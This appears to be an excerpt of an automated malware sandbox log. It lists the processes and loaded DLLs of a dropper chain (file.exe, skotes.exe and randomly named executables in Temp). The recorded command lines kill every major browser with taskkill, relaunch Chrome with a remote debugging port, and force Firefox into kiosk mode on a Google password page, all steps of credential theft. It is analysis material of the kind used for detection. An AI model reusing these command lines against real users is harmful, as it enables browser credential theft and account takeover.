Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Process created: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe "C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe"
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe "C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe "C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe "C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe "C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe "C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003023001\num.exe "C:\Users\user\AppData\Local\Temp\1003023001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe "C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe "C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Process created: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe "C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Process created: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe "C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2208 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {364d90de-5b25-42d0-9ada-d70c8cceaae4} 4320 "\\.\pipe\gecko-crash-server-pipe.4320" 214d9b6b510 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4016 -parentBuildID 20230927232528 -prefsHandle 4040 -prefMapHandle 4068 -prefsLen 26309 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6b4678ca-e3d7-45c2-a7fb-fc7902151ff7} 4320 "\\.\pipe\gecko-crash-server-pipe.4320" 214ebd4e510 rdd
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Section loaded: urlmon.dll
